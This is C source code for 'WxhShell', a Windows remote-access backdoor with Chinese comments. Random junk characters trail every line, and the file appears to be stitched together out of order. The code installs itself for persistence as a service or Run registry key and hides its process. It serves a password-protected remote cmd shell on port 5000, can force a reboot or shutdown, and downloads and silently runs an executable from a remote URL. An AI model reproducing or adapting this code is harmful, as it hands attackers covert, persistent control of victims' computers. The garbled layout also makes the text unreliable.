    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r'LVa6e"N  
    if(Boot(SHUTDOWN)) ->z54 T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # M, 7  
    else { )"(]Lf's  
    closesocket(wsh); ql{(Lf$  
    ExitThread(0); Jo(`zuLJ  
    } 0X8t>#uF  
    break; Eh</? Qv\  
    } V~DMtB7  
  // 获取shell Xm2\0=v5;  
  case 's': { 8VG!TpX/B  
    CmdShell(wsh); -W{DxN1  
    closesocket(wsh); :%&Q-kk4!  
    ExitThread(0); M6 9 w-  
    break; vD/NgRBww  
  } nL@KX>  
  // 退出 {U]H;~3 ?  
  case 'x': { 0l*]L`]L#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w1x" c>1C  
    CloseIt(wsh); 'k;4j|<  
    break; k- V,~c  
    } ~9^)wCM+  
  // 离开 <P ,~eX(r  
  case 'q': { @[<nQZw:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W/z7"#  
    closesocket(wsh); x_=n-lAF  
    WSACleanup(); kNqS8R|  
    exit(1); z't? ?6  
    break; Ft=zzoVKg  
        } Q'l^9Bz  
  } zepop19  
  } "]'?a$\ky:  
yw[#  
  // 提示信息 +cJy._pi!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :a8 YV!X  
} 7qOa ;^T  
  } 6%`&+Lq  
'C$XS>S  
  return; N- e$^pST  
} wHZW `  
@Q&3L~K"  
// shell模块句柄 I +5)Jau^S  
int CmdShell(SOCKET sock) ~"pKe~h   
{ kh~'Cn "O  
STARTUPINFO si; r?m+.fJB  
ZeroMemory(&si,sizeof(si)); 7A\Cbu2tf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D.D$#O_n.S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WH ?}~u9  
PROCESS_INFORMATION ProcessInfo; 'ckQg=zPR  
char cmdline[]="cmd"; ,y4I[[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZN"j%E{d  
  return 0; O1%pxX'`S  
} !Bz0^ 1,L  
U<"WK"SM  
// 自身启动模式 gK#mPcn^  
int StartFromService(void) ]A FI\$qB\  
{ ELrsx{p:  
typedef struct rn DCqv!'P  
{ Gir#"5F  
  DWORD ExitStatus; =U[3PC-N @  
  DWORD PebBaseAddress; i 8!zu!-0  
  DWORD AffinityMask; E r/bO  
  DWORD BasePriority; Ze< K=Q%(i  
  ULONG UniqueProcessId; UT~a &u  
  ULONG InheritedFromUniqueProcessId; tqAd$:L  
}   PROCESS_BASIC_INFORMATION; @3fn)YQ'  
W{z.?$ SH  
PROCNTQSIP NtQueryInformationProcess; G 6VF>2  
&<zd.~N"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gh`m*@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )%rg?lI  
G;> _<22  
  HANDLE             hProcess; *"9><lJ-!  
  PROCESS_BASIC_INFORMATION pbi; 6cqP2!~  
bNT9 H`P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l1ZY1#%j  
  if(NULL == hInst ) return 0; aKU*j9A?;Z  
Q 4CjA3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #T`t79*N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8x`.26p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xI ,2LGO  
Sxjub&=  
  if (!NtQueryInformationProcess) return 0; sGvIXD  
q'pK,uNW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /TS=7J#  
  if(!hProcess) return 0; (R`B'OtGg  
r&-m=Kk$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9a'-Y  
Uax+dl   
  CloseHandle(hProcess); fEB7j-t  
7+./zN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vcd.mE(t%  
if(hProcess==NULL) return 0; $/Aj1j`"9+  
L@=3dp!\Cu  
HMODULE hMod; sNun+xsf^  
char procName[255]; 'B+ ' (f  
unsigned long cbNeeded; Kn+S,1r  
"CiTa>x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]weoTn:  
NvM*h%ChM  
  CloseHandle(hProcess); l & Dxg  
k X {0y  
if(strstr(procName,"services")) return 1; // 以服务启动 \OlmF<~  
?UM*Xah  
  return 0; // 注册表启动 keRE==(D  
} Em[DHfu1Q  
JNcYJ[wqv  
// 主模块 j }b\Z9)!  
int StartWxhshell(LPSTR lpCmdLine) QMv@:Eo  
{ `y#UJYXQE  
  SOCKET wsl; 3D?s L!W  
BOOL val=TRUE; UH7jP#W%=  
  int port=0; w+1Gs ;  
  struct sockaddr_in door; zB yqD$  
);-~j  
  if(wscfg.ws_autoins) Install(); m%?V7-9!k  
@F(mi1QO  
port=atoi(lpCmdLine); X.`~>`8  
!3T&4t  
if(port<=0) port=wscfg.ws_port; fM^[7;]7e  
:[;hu}!&  
  WSADATA data; [w ;kkMJAy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \h8 <cTQ  
-G6U$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z"unF9`"1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g^zs,4pPU<  
  door.sin_family = AF_INET; fhB}9i^]tg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0p89: I*0  
  door.sin_port = htons(port); UA|u U5Q  
1}~(Yj@f%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4Qn$9D+?  
closesocket(wsl); 'vNG(h#%d  
return 1; U*.0XNKp{  
} /dnCwFXf  
{k rswh3  
  if(listen(wsl,2) == INVALID_SOCKET) { ;# Q%j%J  
closesocket(wsl); 3_A *$  
return 1; hMtf.3S7c  
} V)}rEX   
  Wxhshell(wsl); +^;JS3p@\  
  WSACleanup(); ,AT[@  
\TU3rk&X  
return 0; y(K" -?  
J4Dry<  
} Mw9 \EhA  
V')0 Mr  
// 以NT服务方式启动 $ImrOf^qt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4`,j = 3  
{ 1^gl}^|B  
DWORD   status = 0; Z1"v}g  
  DWORD   specificError = 0xfffffff; B#9{-t3Vf  
@IXsy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ->N8#XH2=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zXRlo]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ci rZ+o  
  serviceStatus.dwWin32ExitCode     = 0; 6Cp]NbNrq  
  serviceStatus.dwServiceSpecificExitCode = 0; O$cHZs$  
  serviceStatus.dwCheckPoint       = 0; ~K@'+5Pc  
  serviceStatus.dwWaitHint       = 0; .9.2Be  
y|wc ,n%L>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?,/U^rf^4  
  if (hServiceStatusHandle==0) return; NIw\}[-Z0E  
5xL~`-IA&v  
status = GetLastError(); 0Lb4'25.  
  if (status!=NO_ERROR) TsTPj8GAl[  
{ ({o'd=nO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l#n,Fg3  
    serviceStatus.dwCheckPoint       = 0; R4-~jgzx  
    serviceStatus.dwWaitHint       = 0; tsk)zP,<  
    serviceStatus.dwWin32ExitCode     = status; c*~]zR>s!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 13Lr }M&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %iw3oh&Fkm  
    return; 9?k_y ZV  
  } }u1O#L}F5  
Vx-7\NB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =G]@+e  
  serviceStatus.dwCheckPoint       = 0; Dih3}X&jn$  
  serviceStatus.dwWaitHint       = 0; 0bo/XUpi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }}<z/zN&^  
} c/ uNM  
x#:| }pR  
// 处理NT服务事件,比如:启动、停止 "^Ybs'-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xMBaVlEN  
{ - |gmQG  
switch(fdwControl) 7VP32Eh[  
{ +]Y,q w  
case SERVICE_CONTROL_STOP: k!{p7*0  
  serviceStatus.dwWin32ExitCode = 0; $kQ~d8 O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eY e,r  
  serviceStatus.dwCheckPoint   = 0; 1UQHq@aM  
  serviceStatus.dwWaitHint     = 0; ,UuH}E  
  { &ot/nQQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t]e;;q=L.  
  } N\bocMc,X  
  return; ZWS`\M  
case SERVICE_CONTROL_PAUSE: W | o'&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N 8-oY$*  
  break; 2@ Z(P.Gh  
case SERVICE_CONTROL_CONTINUE: L31|\x]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9HX =T%  
  break; 0P]E6hWgg  
case SERVICE_CONTROL_INTERROGATE: wm^J;<T[  
  break; >+[&3u  
}; BGfzslK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZIF49`Y4TF  
} )l#E}Uz  
/:FOPPs  
// 标准应用程序主函数 !*OJ.W&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `[n(" 7,  
{ I&YSQK:b  
:GJ &_YHf  
// 获取操作系统版本 F,'exuZ  
OsIsNt=GetOsVer(); b3VS\[p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -! K-Htb-  
uAWM \?  
  // 从命令行安装 =xS+5(  
  if(strpbrk(lpCmdLine,"iI")) Install(); hh[jN 7K  
ERN>don2  
  // 下载执行文件 ~#/hzS  
if(wscfg.ws_downexe) { C7O6qpO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Js7`r=Rx  
  WinExec(wscfg.ws_filenam,SW_HIDE); CH<E,Z C1T  
} b?'yAXk  
+j4"!:N}B  
if(!OsIsNt) { 'f?$"U JF  
// 如果时win9x,隐藏进程并且设置为注册表启动 {.?/)  
HideProc(); 71{p+3Z&  
StartWxhshell(lpCmdLine); \oZ5JoO  
} NrJKbk^4u/  
else R`~z0 d.  
  if(StartFromService()) 9cj9SB4  
  // 以服务方式启动 LA)[ip4  
  StartServiceCtrlDispatcher(DispatchTable); %?Ev|:i`@  
else qQH]`#P  
  // 普通方式启动 @qHNE,K  
  StartWxhshell(lpCmdLine); 6!(@@^7{*  
Q0ON9gqqv  
return 0; \0gM o&  
} (zFi$  
k Zq!&  
&EnuE0BD  
^) s2$A:L  
=========================================== L{`JRu  
%p 0xM  
{qa Aq%'  
@#-q^}3  
C;vtY[}<  
Vkc#7W(  
" w/K_B:s  
HC}YY2  
#include <stdio.h> :]1 TGfS  
#include <string.h> 2Roc|)-47  
#include <windows.h> "^]cQ"A  
#include <winsock2.h> w4d--[Q  
#include <winsvc.h> (/j); oSK  
#include <urlmon.h> W!&vul5  
qC?:*CXH  
#pragma comment (lib, "Ws2_32.lib") aX}P|l  
#pragma comment (lib, "urlmon.lib") GF^071]G  
6}oXP_0U  
#define MAX_USER   100 // 最大客户端连接数 .uk>QM s1  
#define BUF_SOCK   200 // sock buffer yT,.z 0  
#define KEY_BUFF   255 // 输入 buffer ok4@N @  
fw RZ5`v<  
#define REBOOT     0   // 重启 RSfzRnhmr  
#define SHUTDOWN   1   // 关机 ^!by3Elqqk  
qm8&*UuKJ  
#define DEF_PORT   5000 // 监听端口 +@/"%9w  
|UxG$M(  
#define REG_LEN     16   // 注册表键长度 `WH"%V:"Q  
#define SVC_LEN     80   // NT服务名长度 k'5?M  
v3jg~"!  
// 从dll定义API $"H{4 x`-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E0?iXSJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ])!o5`ltZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a0ObBe'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;{" +g)u  
81i655!Z  
// wxhshell配置信息 Sh8"F@P8  
struct WSCFG { " _ka<R..  
  int ws_port;         // 监听端口 ;h jwD  
  char ws_passstr[REG_LEN]; // 口令 vt9)pMs  
  int ws_autoins;       // 安装标记, 1=yes 0=no e;[F\ov %  
  char ws_regname[REG_LEN]; // 注册表键名 Pw61_ZZ4B\  
  char ws_svcname[REG_LEN]; // 服务名 @>U-t{W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KSN Pkd6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "PpN0Rr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mA=i)Ga  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oal3rb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q{lpKe0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OUNd@o  
/Bm( `T  
}; #Q`dku%V:  
>b{q.  
// default Wxhshell configuration vCw e'q`1  
struct WSCFG wscfg={DEF_PORT, H"dJ6  
    "xuhuanlingzhe", iB& 4>+N+  
    1, j_. 5r&w  
    "Wxhshell", -#HA"7XOE  
    "Wxhshell", hs$GN]  
            "WxhShell Service", 0PrLuejz  
    "Wrsky Windows CmdShell Service", t?'!$6   
    "Please Input Your Password: ", G8Y<1%`<  
  1, % V8U (z  
  "http://www.wrsky.com/wxhshell.exe", #I bp(  
  "Wxhshell.exe" 2P@sn!*{1  
    }; _c_[ C*T]  
Yd~X77cv  
// 消息定义模块 F ;2w1S^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cj'}4(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]n~ilS.rkl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~"kb7Fxp  
char *msg_ws_ext="\n\rExit."; Ot6aRk  
char *msg_ws_end="\n\rQuit."; <t \H^H!  
char *msg_ws_boot="\n\rReboot...";  N#a$t&  
char *msg_ws_poff="\n\rShutdown..."; D5*q7A6  
char *msg_ws_down="\n\rSave to "; LBa[:j2  
ZGKu>yM  
char *msg_ws_err="\n\rErr!"; uW} s)j.  
char *msg_ws_ok="\n\rOK!"; !*%WuyCgr4  
ZP\-T*)l$  
char ExeFile[MAX_PATH]; mh{1*T$fP  
int nUser = 0; -K3^BZ HI  
HANDLE handles[MAX_USER]; ^>hWy D  
int OsIsNt; ='Y!+  
zp%Cr.)$  
SERVICE_STATUS       serviceStatus; cLsV`@J(k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @8pp EFw  
m1M t#@,$  
// 函数声明 1R1 z  
int Install(void); n' q4  
int Uninstall(void); S9~ +c  
int DownloadFile(char *sURL, SOCKET wsh); GfmI<{da  
int Boot(int flag); ei[j1F  
void HideProc(void); /*X2c6<d  
int GetOsVer(void); I ,z3xU  
int Wxhshell(SOCKET wsl); =aBctd:eX`  
void TalkWithClient(void *cs); ne_TIwfw-  
int CmdShell(SOCKET sock); t~#zMUfac  
int StartFromService(void); yU-e3O7L  
int StartWxhshell(LPSTR lpCmdLine); sWc*5Rt  
\Yc'~2n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "Pu!dJ5[]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f>UXD  
E(8* pI  
// 数据结构和表定义 m;GbLncA  
SERVICE_TABLE_ENTRY DispatchTable[] = pw)||Q  
{ a@UZb  
{wscfg.ws_svcname, NTServiceMain}, ,l:ORoND  
{NULL, NULL} t7j);W%e6  
}; w.YiO5|y  
~^r29'3  
// 自我安装 sE Q=dcK  
int Install(void) yEhTNBa*h{  
{ :<bB?N(  
  char svExeFile[MAX_PATH]; #0P$M!%  
  HKEY key; 4O)1uF;  
  strcpy(svExeFile,ExeFile); v{ 0=  
x"gd8j]s  
// 如果是win9x系统,修改注册表设为自启动 e'~J,(fB  
if(!OsIsNt) { 5?3Me59  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b2OQtSr a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IpcNuZo9&  
  RegCloseKey(key); lE&&_INHQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AK*LyR?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t>`a sL  
  RegCloseKey(key); R|(q  
  return 0; I uMQ9 &  
    } Tk:h@F|B.|  
  } =,_ +0M9  
} `OXpU,Z 6U  
else { B1>/5hV}  
8TLgNQP  
// 如果是NT以上系统,安装为系统服务 &h^9}>rVjV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4'a=pnE$  
if (schSCManager!=0) p8h9Ng* &`  
{ ;; C?{  
  SC_HANDLE schService = CreateService [f1 (`<  
  ( oPXkYW  
  schSCManager, o:3dfO%nuM  
  wscfg.ws_svcname, iB%gPoDCL@  
  wscfg.ws_svcdisp, }dWq=)*  
  SERVICE_ALL_ACCESS, o7sT=x9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ->y J5smtY  
  SERVICE_AUTO_START, }NzpiY9  
  SERVICE_ERROR_NORMAL, N D(/uyI  
  svExeFile, di6QVRj1  
  NULL, XBb~\p3y  
  NULL, KLitg6&P  
  NULL, 8&?s#5zA  
  NULL, }%'?p<^M  
  NULL hRrn$BdLX  
  );  @Z\,q's  
  if (schService!=0) s'E2P[:  
  { ND>r#(_\  
  CloseServiceHandle(schService); LYz.Ci}  
  CloseServiceHandle(schSCManager); vdx0i&RiL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?fUlgQ }N  
  strcat(svExeFile,wscfg.ws_svcname); r^3acXl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -EkWs/'h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'B 43_  
  RegCloseKey(key); $c:ynjL|P-  
  return 0; Vzdh8)Mu\  
    } #Ssx!+q?  
  } vd 0ljA  
  CloseServiceHandle(schSCManager); <`B,R*H{  
} :D%"EJ  
} M<.d8?p )  
QS` PpyBkd  
return 1; jV>raCK_  
} B8V>NvE~o  
4E]l{"k<  
// 自我卸载 aWWU4xe  
int Uninstall(void) 3=FZ9>by  
{ snf~}:&   
  HKEY key; toya fHf  
Mc09ES  
if(!OsIsNt) { AX;8^6.F3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0?\Zm)Q~(  
  RegDeleteValue(key,wscfg.ws_regname); im9G,e  
  RegCloseKey(key); JEahGzO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &,c``z  
  RegDeleteValue(key,wscfg.ws_regname); ZUVA EH%  
  RegCloseKey(key); PE}:ybsX  
  return 0; l_P-j 96WD  
  } P@$/P99  
} P"y`A}Bx  
} K?B{rE Lp  
else { b\vKJ2  
)vjh~ybZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;V*R*R  
if (schSCManager!=0) }XV+gyG=@  
{ ] >LhkA@V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z&1T  
  if (schService!=0) ysxb?6  
  { 8\^}~s$$A  
  if(DeleteService(schService)!=0) { V5sg#|&  
  CloseServiceHandle(schService); =j5MFX.-o  
  CloseServiceHandle(schSCManager); u37'~&o{U  
  return 0; s+,OxRVw(  
  } Zhh2v>QOy  
  CloseServiceHandle(schService); ?s\:hNNY  
  } 2N~Fg^xB  
  CloseServiceHandle(schSCManager); Ne8Cgp  
} h{HF8>u[  
} =(NB%}  
-+ SF  
return 1; - }7e:!.  
} ej4W{IN~:  
{ QHVo#  
// 从指定url下载文件 l6YtEHNG  
int DownloadFile(char *sURL, SOCKET wsh) /^X/8  
{  x }\64  
  HRESULT hr; k7?N ?7w  
char seps[]= "/"; 'Jt]7;04p  
char *token; ^?cz,N~  
char *file; lE;Ewg  
char myURL[MAX_PATH]; #!aN{nK0  
char myFILE[MAX_PATH]; uD1e!oU  
D7lK30  
strcpy(myURL,sURL); 4]G?G]lS>  
  token=strtok(myURL,seps); @wpN6 /   
  while(token!=NULL) YQ+tDZY8`  
  { #E? (vA1  
    file=token; Mr;E<Lj ^K  
  token=strtok(NULL,seps); VL% UR{  
  } (i34sqV$m  
Z*y`R XE  
GetCurrentDirectory(MAX_PATH,myFILE); !V"<U2  
strcat(myFILE, "\\"); !>{G,\^=pT  
strcat(myFILE, file); P<l&0dPO8  
  send(wsh,myFILE,strlen(myFILE),0); t]y D-3'l&  
send(wsh,"...",3,0); {5%5}[/x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %\D)u8}  
  if(hr==S_OK)  ud xZ0  
return 0; ^B(V4-|  
else Bt> }rYz1  
return 1; LJk@Vy <?  
WM| dKF  
} |uqf:V`z:  
#w,Dwy  
// 系统电源模块 7ePqmB<.  
int Boot(int flag) 0Sle  
{ q*\x0"mS/  
  HANDLE hToken; :*ing  
  TOKEN_PRIVILEGES tkp; jNLw=  
YVYu:}e3)  
  if(OsIsNt) { 3HLNCt09  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (g[h 8 c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _A+s)]}  
    tkp.PrivilegeCount = 1; B^j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :"=ez<t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e\Y*F  
if(flag==REBOOT) { OUeyklw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RIb4!!',c  
  return 0; M)eO6oX|  
} B:gjAb}9T  
else { /4a._@1h[y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JRSSn]pw  
  return 0; 19O,a#{KHf  
} $^OvhnL/  
  } R A KFU  
  else { d]:I(9K  
if(flag==REBOOT) { w8kOVN2b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]$Yvj!K*Q  
  return 0; Fs{x(_LOr  
} q;<h[b?  
else { _CW(PsfY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A*2  bA  
  return 0; _AQb6Nb  
} \ ^ZlG.  
} P%{^i]  
4a'N>eDR  
return 1; r<K(jG[:{f  
} GliwY_  
k.uMp<)D  
// win9x进程隐藏模块 BFL`!^  
void HideProc(void) uT}' Y)m  
{ 5]n[]FW  
V}dJ.I /#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -j73Wz  
  if ( hKernel != NULL ) G]+&!4  
  { k`0>36  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A%`[mc]4#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V'kX)$  
    FreeLibrary(hKernel); zUKmxy@  
  } G '6@+$ppS  
Qp/QaVQ+  
return; BRlT7grgq  
} 2^^`n1?'  
9?0^ap,T  
// 获取操作系统版本 =at@Vp/y  
int GetOsVer(void) vg3=8>#  
{ _9=Yvc=  
  OSVERSIONINFO winfo; &Q>k7L!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !P)O(i=  
  GetVersionEx(&winfo); a4XU?-sUh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @xbQYe%J  
  return 1; h{AII  
  else OY:,D  
  return 0; Zn ''_fjh  
} U-IpH+E  
.v$D13L(o  
// 客户端句柄模块 N'g>MBdI  
int Wxhshell(SOCKET wsl) 'R c,Mq'  
{ lEhk'/~  
  SOCKET wsh; R $&o*K`?  
  struct sockaddr_in client; K Pt5=a  
  DWORD myID; byT h/H  
Olh<,p+x  
  while(nUser<MAX_USER) /4g1zrU  
{ " f "6]y  
  int nSize=sizeof(client); o| #Qu8Lk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c )G3k/T5  
  if(wsh==INVALID_SOCKET) return 1; ]`kmjn  
!Cr(P e]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $4/yZaVb  
if(handles[nUser]==0) .u4 W /  
  closesocket(wsh); ig/%zA*Bo  
else .Yf:[`Q6g  
  nUser++; (>r[- Bft  
  } Cq%IE^g<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ||;hci O  
D|Q#gcWpo  
  return 0; ,6om\9.E@  
} 3wC' r  
:.$3vaZ@  
// 关闭 socket }[ 4r4 1[  
void CloseIt(SOCKET wsh) ~g5[$r-u-u  
{ 6"~P/\jP  
closesocket(wsh); F;+|sMrq  
nUser--; @ Wd9I;hWv  
ExitThread(0); ~} ,=OF-b  
} k~jP'aD  
|NpP2|4h  
// 客户端请求句柄 BDR.AZ  
void TalkWithClient(void *cs) 8xccp4  
{ d4?Mi2/jF  
22.8PO0  
  SOCKET wsh=(SOCKET)cs; Bs O+NP  
  char pwd[SVC_LEN]; wM2*#  
  char cmd[KEY_BUFF]; K%^V?NP*{Z  
char chr[1]; %O!v"Xh  
int i,j; %`&2+\`  
,M^P!  
  while (nUser < MAX_USER) { l]8D7(g  
m+lvl  
if(wscfg.ws_passstr) { UE$UR#T'w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q0&H#xgt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cVv;Jn  
  //ZeroMemory(pwd,KEY_BUFF); p$PKa.Y3  
      i=0; X)7x<?DAy  
  while(i<SVC_LEN) { 0l-Ef 1  
{\c(ls{  
  // 设置超时 J2 'Nd'  
  fd_set FdRead; ?XA2&  
  struct timeval TimeOut; /f|X(docI  
  FD_ZERO(&FdRead); DV<` K$ET  
  FD_SET(wsh,&FdRead); cd$m25CxC  
  TimeOut.tv_sec=8; a{ ?`t|  
  TimeOut.tv_usec=0; {TX]\ufG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z7Q?D^miy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NhaI<J  
NiU2@zgl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]%?YZn<{  
  pwd=chr[0]; G>1eFBh }  
  if(chr[0]==0xd || chr[0]==0xa) { F W/W%^  
  pwd=0; STxKE %l  
  break; 9J9)AV  
  } fjs [f'L  
  i++; f"qga/  
    } 6WU(%  
SVO3821  
  // 如果是非法用户,关闭 socket 8]M_z:F7F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "a8j"lPJ  
} r=X}%~_8X  
)6|yb65ZUX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "CUty"R 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1n:8s'\  
?<(m 5Al7  
while(1) { [^U#Qj)hL  
l zYnw)Pv  
  ZeroMemory(cmd,KEY_BUFF); 6P5Ih  
?34 e-  
      // 自动支持客户端 telnet标准   iVy7elT;R  
  j=0; <;#~l*  
  while(j<KEY_BUFF) { &!/}Qp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^(|vsFzn  
  cmd[j]=chr[0]; `"&d a#N]  
  if(chr[0]==0xa || chr[0]==0xd) { SRrw0&ts  
  cmd[j]=0; @@8J6*y  
  break; #m{UrTC  
  } |aT| l^2R@  
  j++; X_$Cb<e  
    } +YqZ ((  
$CY't'6Hn  
  // 下载文件 -5I2ga  
  if(strstr(cmd,"http://")) { 2Fq<*pxAY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BPdfYu ,il  
  if(DownloadFile(cmd,wsh)) o[cV1G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0_),OaY  
  else )FpZPdN+h  
